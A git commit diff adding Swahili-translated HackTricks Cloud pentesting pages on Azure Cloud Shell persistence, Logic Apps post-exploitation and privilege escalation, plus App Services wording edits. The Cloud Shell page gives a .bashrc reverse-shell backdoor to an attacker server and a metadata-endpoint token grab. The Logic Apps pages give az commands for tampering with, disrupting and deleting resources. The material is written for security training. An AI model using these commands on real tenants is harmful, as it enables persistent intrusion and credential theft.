Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud

This commit is contained in:
Translator
2025-01-26 15:17:37 +00:00
parent 67b37d7a11
commit 55121b9a7e
12 changed files with 905 additions and 116 deletions

View File

@@ -409,6 +409,7 @@
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
@@ -452,6 +453,7 @@
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
- [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
@@ -471,6 +473,7 @@
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
- [Az - Logic Apps Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md)
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md)
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md)
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
@@ -480,6 +483,7 @@
- [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
- [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)

View File

@@ -0,0 +1,56 @@
# Az - Cloud Shell Persistence
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Cloud Shell Persistence
Azure Cloud Shell inatoa ufikiaji wa amri ili kudhibiti rasilimali za Azure kwa hifadhi ya kudumu na uthibitishaji wa kiotomatiki. Washambuliaji wanaweza kutumia hii kwa kuweka backdoors katika saraka ya nyumbani ya kudumu:
* **Persistent Storage**: Saraka ya nyumbani ya Azure Cloud Shell imewekwa kwenye sehemu ya faili ya Azure na inabaki salama hata baada ya kikao kumalizika.
* **Startup Scripts**: Faili kama .bashrc zinafanya kazi kiotomatiki mwanzoni mwa kila kikao, kuruhusu utekelezaji wa kudumu wakati shell ya wingu inaanza.
Mfano wa backdoor katika .bashrc:
{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
{% endcode %}
Hii backdoor inaweza kutekeleza amri hata dakika 5 baada ya shell ya wingu kumalizika na mtumiaji.
Zaidi ya hayo, uliza huduma ya metadata ya Azure kwa maelezo ya mfano na tokeni:
{% code overflow="wrap" %}
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
{% endcode %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View File

@@ -0,0 +1,181 @@
# Az - Logic Apps Post Exploitation
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}
## Logic Apps Database Post Exploitation
Kwa maelezo zaidi kuhusu logic apps angalia:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
Kwa ruhusa hizi, unaweza kubadilisha Logic App workflows na kusimamia vitambulisho vyao. Kwa haswa, unaweza kuassign au kuondoa vitambulisho vya usimamizi vilivyotolewa na mfumo na vilivyotolewa na mtumiaji kwa workflows, ambayo inaruhusu Logic App kuthibitisha na kufikia rasilimali nyingine za Azure bila akidi maalum.
{% code overflow="wrap" %}
```bash
az logic workflow identity remove/assign \
--name <workflow_name> \
--resource-group <resource_group_name> \
--system-assigned true \
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
```
{% endcode %}
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
Kwa ruhusa hizi, unaweza kuunda au kuboresha Logic Apps zinazohifadhiwa kwenye Mpango wa Huduma ya App. Hii inajumuisha kubadilisha mipangilio kama vile kuwezesha au kuzima utekelezaji wa HTTPS.
{% code overflow="wrap" %}
```bash
az logicapp update \
--resource-group <resource_group_name> \
--name <logic_app_name> \
--set httpsOnly=false
```
{% endcode %}
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
Kwa ruhusa hii, unaweza kuanzisha/kusitisha/kurestart programu ya wavuti, ikiwa ni pamoja na Logic Apps zilizohifadhiwa kwenye Mpango wa Huduma ya Programu. Kitendo hiki kinahakikisha kwamba programu iliyositishwa hapo awali inarejeshwa mtandaoni na inaendelea na kazi zake. Hii inaweza kuharibu mchakato wa kazi, kuanzisha operesheni zisizokusudiwa, au kusababisha muda wa kukatika kwa kuanzisha, kusitisha, au kurestart Logic Apps bila kutarajia.
{% code overflow="wrap" %}
```bash
az webapp start/stop/restart \
--name <logic_app_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
Kwa ruhusa hii, unaweza kuunda au kubadilisha mipangilio ya programu za wavuti, ikiwa ni pamoja na Logic Apps zinazohifadhiwa kwenye Mpango wa Huduma ya Programu. Hii inaruhusu mabadiliko ya mipangilio ya programu, nyuzi za muunganisho, mipangilio ya uthibitishaji, na mengineyo.
{% code overflow="wrap" %}
```bash
az logicapp config appsettings set \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--settings "<key>=<value>"
```
{% endcode %}
### "Microsoft.Logic/integrationAccounts/write"
Kwa ruhusa hii, unaweza kuunda, kusasisha, au kufuta akaunti za ushirikiano za Azure Logic Apps. Hii inajumuisha kusimamia mipangilio ya kiwango cha akaunti za ushirikiano kama ramani, mifano, washirika, makubaliano, na zaidi.
{% code overflow="wrap" %}
```bash
az logic integration-account create \
--resource-group <resource_group_name> \
--name <integration_account_name> \
--location <location> \
--sku <Standard|Free> \
--state Enabled
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
Kwa ruhusa hii, unaweza kuunda au kubadilisha mipangilio ya kundi ndani ya akaunti ya uunganisho ya Azure Logic Apps. Mipangilio ya kundi inaelezea jinsi Logic Apps inavyoshughulikia na kuunganisha ujumbe unaoingia kwa ajili ya usindikaji wa kundi.
{% code overflow="wrap" %}
```bash
az logic integration-account batch-configuration create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <batch_configuration_name> \
--release-criteria '{
"messageCount": 100,
"batchSize": 1048576,
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
Kwa ruhusa hii, unaweza kuunda au kubadilisha ramani ndani ya akaunti ya uunganisho ya Azure Logic Apps. Ramani zinatumika kubadilisha data kutoka muundo mmoja hadi mwingine, kuruhusu uunganisho usio na mshono kati ya mifumo na programu tofauti.
{% code overflow="wrap" %}
```bash
az logic integration-account map create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <map_name> \
--map-type <Xslt|Xslt20|Xslt30> \
--content-type application/xml \
--map-content map-content.xslt
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
Kwa ruhusa hii, unaweza kuunda au kubadilisha washirika katika akaunti ya uunganisho ya Azure Logic Apps. Washirika wanawakilisha entiti au mifumo inayoshiriki katika michakato ya biashara kwa biashara (B2B).
{% code overflow="wrap" %}
```bash
az logic integration-account partner create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <partner_name> \
--partner-type <partner-type> \
--content '{
"b2b": {
"businessIdentities": [
{
"qualifier": "ZZ",
"value": "TradingPartner1"
}
]
}
}'
```
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
Kwa ruhusa hii, unaweza kuunda au kubadilisha vikao ndani ya akaunti ya uunganisho ya Azure Logic Apps. Vikao vinatumika katika mchakato wa B2B kuunganisha ujumbe na kufuatilia shughuli zinazohusiana kwa kipindi kilichofafanuliwa.
{% code overflow="wrap" %}
```bash
az logic integration-account session create \
--resource-group <resource_group_name> \
--integration-account-name <integration_account_name> \
--name <session_name> \
--content '{
"properties": {
"sessionId": "session123",
"data": {
"key1": "value1",
"key2": "value2"
}
}
}'
```
{% endcode %}
### "*/delete"
Kwa ruhusa hizi unaweza kufuta rasilimali zinazohusiana na Azure Logic Apps
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,77 @@
# Az - Logic Apps Privesc
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Logic Apps Privesc
Kwa maelezo zaidi kuhusu SQL Database angalia:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
Kwa ruhusa hii, unaweza kuunda au kusasisha, Azure Logic Apps workflows. Workflows zinaelezea michakato ya kiotomatiki na uhusiano kati ya mifumo na huduma mbalimbali.
{% code overflow="wrap" %}
```bash
az logic workflow create \
--resource-group <resource_group_name> \
--name <workflow_name> \
--definition <workflow_definition_file.json> \
--location <location>
az logic workflow update \
--name my-new-workflow \
--resource-group logicappgroup \
--definition <workflow_definition_file.json>
```
{% endcode %}
Na baada ya kubadilisha, unaweza kuikimbia na:
```bash
az rest \
--method post \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
--body '{}' \
--headers "Content-Type=application/json"
```
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
Kwa ruhusa hizi, unaweza kupeleka, Logic App workflows kwa kutumia ZIP file deployments. Ruhusa hizi zinawezesha vitendo kama kusoma maelezo ya programu, kufikia akreditivu za uchapishaji, kuandika mabadiliko, na kuorodhesha usanidi wa programu. Pamoja na ruhusa za kuanzisha, unaweza kusasisha na kupeleka Logic App mpya na maudhui unayotaka.
{% code overflow="wrap" %}
```bash
az logicapp deployment source config-zip \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--src <path_to_zip_file>
```
{% endcode %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View File

@@ -4,31 +4,31 @@
## App Service Basic Information
Azure App Services inaruhusu waendelezaji **kuunda, kupeleka, na kupanua programu za wavuti, nyuma za programu za simu, na APIs bila shida**. Inasaidia lugha nyingi za programu na inajumuisha zana na huduma mbalimbali za Azure kwa ajili ya kuboresha utendaji na usimamizi.
Azure App Services inaruhusu waendelezaji **kujenga, kupeleka, na kupanua programu za wavuti, nyuma ya programu za simu, na APIs bila shida**. Inasaidia lugha nyingi za programu na inajumuisha zana na huduma mbalimbali za Azure kwa ajili ya kuboresha utendaji na usimamizi.
Kila programu inafanya kazi ndani ya sandbox lakini kutengwa kunategemea mipango ya App Service:
- Programu katika ngazi za Bure na Kushiriki zinafanya kazi kwenye **VMs zinazoshirikiwa**
- Programu katika ngazi za Kawaida na Premium zinafanya kazi kwenye **VMs zilizotengwa zinazoshirikiwa tu na programu** katika mpango huo wa App Service.
- Ngazi za Kutengwa zinafanya kazi kwenye **VMs zilizotengwa kwenye mitandao halisi iliyotengwa**, kuboresha kutengwa kwa programu.
- Programu katika ngazi za Bure na Kushiriki zinafanya kazi kwenye **VM zinazoshirikiwa**
- Programu katika ngazi za Kawaida na Kitaalamu zinafanya kazi kwenye **VM zilizotengwa zinazoshirikiwa tu na programu** katika mpango huo wa App Service.
- Ngazi za Kutengwa zinafanya kazi kwenye **VM zilizotengwa kwenye mitandao halisi iliyotengwa**, kuboresha kutengwa kwa programu.
> [!WARNING]
> Kumbuka kwamba **hakuna** ya kutengwa hizo **inaepusha** udhaifu mwingine wa kawaida wa **wavuti** (kama vile kupakia faili, au sindano). Na ikiwa **utambulisho wa usimamizi** unatumika, inaweza kuwa na uwezo wa **kuinua mamlaka kwao**.
Programu zina baadhi ya mipangilio ya kuvutia:
- **Daima On**: Inahakikisha kwamba programu inafanya kazi kila wakati. Ikiwa haijawashwa, programu itasimama kufanya kazi baada ya dakika 20 za kutokuwa na shughuli na itaanza tena wakati ombi litakapopokelewa.
- **Daima Iko**: Inahakikisha kwamba programu inafanya kazi kila wakati. Ikiwa haijawashwa, programu itasimama kufanya kazi baada ya dakika 20 za kutokuwa na shughuli na itaanza tena wakati ombi litakapopokelewa.
- Hii ni muhimu ikiwa una kazi ya wavuti inayohitaji kufanya kazi bila kukatika kwani kazi ya wavuti itasimama ikiwa programu itasimama.
- **SSH**: Ikiwa imewashwa, mtumiaji mwenye ruhusa ya kutosha anaweza kuungana na programu kwa kutumia SSH.
- **Uchunguzi**: Ikiwa imewashwa, mtumiaji mwenye ruhusa ya kutosha anaweza kuchunguza programu. Hata hivyo, hii inazuiliwa kiotomatiki kila masaa 48.
- **Web App + Database**: Kihifadhi cha wavuti kinaruhusu kuunda Programu yenye hifadhidata. Katika kesi hii inawezekana kuchagua hifadhidata ya kutumia (SQLAzure, PostgreSQL, MySQL, MongoDB) na pia inaruhusu kuunda Cache ya Azure kwa Redis.
- **Urekebishaji**: Ikiwa imewashwa, mtumiaji mwenye ruhusa ya kutosha anaweza kurekebisha programu. Hata hivyo, hii inazuiliwa kiotomatiki kila masaa 48.
- **Programu ya Wavuti + Hifadhidata**: Kihifadhi cha wavuti kinaruhusu kuunda Programu yenye hifadhidata. Katika kesi hii inawezekana kuchagua hifadhidata ya kutumia (SQLAzure, PostgreSQL, MySQL, MongoDB) na pia inaruhusu kuunda Cache ya Azure kwa Redis.
- URL inayoshikilia taarifa za kuingia kwa hifadhidata na Redis itahifadhiwa katika **appsettings**.
- **Container**: Inawezekana kupeleka kontena kwa App Service kwa kuashiria URL ya kontena na taarifa za kuingia.
- **Konteina**: Inawezekana kupeleka konteina kwa App Service kwa kuashiria URL ya konteina na taarifa za kuingia.
- **Mounts**: Inawezekana kuunda mounts 5 kutoka kwa akaunti za Hifadhi ikiwa ni pamoja na Azure Blob (Soma tu) au Azure Files. Mipangilio itahifadhi funguo za ufikiaji juu ya Akaunti ya Hifadhi.
## Basic Authentication
Wakati wa kuunda programu ya wavuti (na kazi ya Azure kwa kawaida) inawezekana kuashiria ikiwa unataka **Mamlaka ya Msingi iwe imewashwa** (imezimwa kwa chaguo-msingi). Hii kimsingi **inawezesha SCM (Meneja wa Udhibiti wa Chanzo) na FTP (Protokali ya Uhamishaji wa Faili)** kwa programu ili iwezekane kupeleka programu kwa kutumia teknolojia hizo.
Wakati wa kuunda programu ya wavuti (na kazi ya Azure kwa kawaida) inawezekana kuashiria ikiwa unataka **Uthibitishaji wa Msingi kuwashwa** (imezimwa kwa default). Hii kimsingi **inawasha SCM (Meneja wa Udhibiti wa Chanzo) na FTP (Protokali ya Uhamishaji wa Faili)** kwa ajili ya programu ili iwezekane kupeleka programu kwa kutumia teknolojia hizo.
Ili kufikia seva za SCM na FTP, **jina la mtumiaji na nenosiri** inahitajika. Kwa hivyo, Azure inatoa baadhi ya **APIs kupata URL** za majukwaa haya na taarifa za kuingia.
@@ -39,15 +39,15 @@ Inawezekana kuungana na SCM kwa kutumia kivinjari cha wavuti katika `https://<SM
### Kudu
Kudu ni jukwaa ambalo **linasimamia SCM na kiolesura cha wavuti na API** ili kusimamia App Service, na inatoa uhamasishaji wa msingi wa Git, uchunguzi wa mbali, na uwezo wa usimamizi wa faili. Inapatikana kupitia URL ya SCM iliyofafanuliwa katika programu ya wavuti.
Kudu ni jukwaa ambalo **linasimamia SCM na kiolesura cha wavuti na API** ili kusimamia App Service, na inatoa uhamasishaji wa msingi wa Git, urekebishaji wa mbali, na uwezo wa usimamizi wa faili. Inapatikana kupitia URL ya SCM iliyofafanuliwa katika programu ya wavuti.
Kumbuka kwamba toleo la Kudu linalotumiwa na App Services na na Function Apps ni tofauti, toleo la Function apps likiwa na mipaka zaidi.
Baadhi ya maeneo ya kuvutia unaweza kuyapata katika Kudu ni:
Baadhi ya maeneo ya kuvutia unaweza kupata katika Kudu ni:
- `/BasicAuth`: Unahitaji kufikia njia hii ili **kuingia ndani ya Kudu**.
- `/DebugConsole`: Kihifadhi kinachokuruhusu kutekeleza amri katika mazingira ambapo Kudu inafanya kazi.
- Kumbuka kwamba mazingira haya **hayana ufikiaji** wa huduma ya metadata ili kupata tokeni.
- `/webssh/host`: Mteja wa SSH wa wavuti unaokuruhusu kuungana ndani ya kontena ambapo programu inafanya kazi.
- `/webssh/host`: Mteja wa SSH wa wavuti unaokuruhusu kuungana ndani ya konteina ambapo programu inafanya kazi.
- Mazingira haya **yana ufikiaji wa huduma ya metadata** ili kupata tokeni kutoka kwa utambulisho wa usimamizi uliotolewa.
- `/Env`: Pata taarifa kuhusu mfumo, mipangilio ya programu, mabadiliko ya mazingira, nyuzi za muunganisho na vichwa vya HTTP.
- `/wwwroot/`: Saraka ya mzizi ya programu ya wavuti. Unaweza kupakua faili zote kutoka hapa.
@@ -56,11 +56,11 @@ Zaidi ya hayo, Kudu ilikuwa ya wazi katika [https://github.com/projectkudu/kudu]
## Sources
App Services inaruhusu kupakia msimbo kama faili ya zip kwa chaguo-msingi, lakini pia inaruhusu kuungana na huduma ya upande wa tatu na kupata msimbo kutoka huko.
App Services inaruhusu kupakia msimbo kama faili ya zip kwa default, lakini pia inaruhusu kuungana na huduma ya upande wa tatu na kupata msimbo kutoka huko.
- Vyanzo vya upande wa tatu vinavyoungwa mkono kwa sasa ni **Github** na **Bitbucket**.
- Unaweza kupata tokeni za uthibitishaji kwa kukimbia `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
- Azure kwa chaguo-msingi itaanzisha **Github Action** ili kupeleka msimbo kwa App Service kila wakati msimbo unaposasishwa.
- Azure kwa default itaanzisha **Github Action** ili kupeleka msimbo kwa App Service kila wakati msimbo unaposasishwa.
- Pia inawezekana kuashiria **hifadhi ya git ya mbali** (ikiwa na jina la mtumiaji na nenosiri) ili kupata msimbo kutoka huko.
- Unaweza kupata taarifa za kuingia kwenye repo ya mbali kwa kukimbia `az webapp deployment source show --name <app-name> --resource-group <res-group>` au `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- Pia inawezekana kutumia **Azure Repository**.
@@ -70,9 +70,9 @@ App Services inaruhusu kupakia msimbo kama faili ya zip kwa chaguo-msingi, lakin
## Webjobs
Azure WebJobs ni **kazi za nyuma zinazofanya kazi katika mazingira ya Azure App Service**. Zinawaruhusu waendelezaji kutekeleza skripti au programu pamoja na programu zao za wavuti, na kufanya iwe rahisi kushughulikia shughuli zisizo za kawaida au za muda mrefu kama usindikaji wa faili, usimamizi wa data, au kazi za ratiba.
Azure WebJobs ni **kazi za nyuma zinazofanya kazi katika mazingira ya Azure App Service**. Zinawaruhusu waendelezaji kutekeleza skripti au programu pamoja na programu zao za wavuti, na kufanya iwe rahisi kushughulikia shughuli zisizo za kawaida au zinazohitaji muda kama vile usindikaji wa faili, usimamizi wa data, au kazi za ratiba.
Kuna aina 2 za kazi za wavuti:
- **Endelea**: Inafanya kazi bila kikomo katika mzunguko na inasababishwa mara tu inapotengenezwa. Ni bora kwa kazi zinazohitaji usindikaji wa mara kwa mara. Hata hivyo, ikiwa programu itasimama kufanya kazi kwa sababu Daima On imezimwa na haijapokea ombi katika dakika 20 zilizopita, kazi ya wavuti pia itasimama.
- **Endelea**: Inafanya kazi bila kikomo katika mzunguko na inasababishwa mara tu inapotengenezwa. Ni bora kwa kazi zinazohitaji usindikaji wa mara kwa mara. Hata hivyo, ikiwa programu itasimama kufanya kazi kwa sababu Daima Iko imezimwa na haijapokea ombi katika dakika 20 zilizopita, kazi ya wavuti pia itasimama.
- **Iliyosababishwa**: Inafanya kazi kwa ombi au kulingana na ratiba. Inafaa zaidi kwa kazi za mara kwa mara, kama vile masasisho ya data ya kundi au taratibu za matengenezo.
Webjobs ni za kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani zinaweza kutumika **kutekeleza msimbo** katika mazingira na **kuinua mamlaka** kwa utambulisho wa usimamizi uliounganishwa.
@@ -87,9 +87,9 @@ Zaidi ya hayo, inawezekana kuelekeza **asilimia ya trafiki** kwa slot maalum, am
## Azure Function Apps
Kimsingi **Azure Function apps ni sehemu ya Azure App Service** katika kihifadhi cha wavuti na ikiwa utaenda kwenye kihifadhi cha wavuti na kuorodhesha huduma zote za programu au kutekeleza `az webapp list` katika az cli utaweza **kuona Function apps pia zikiwa zimeorodheshwa huko**.
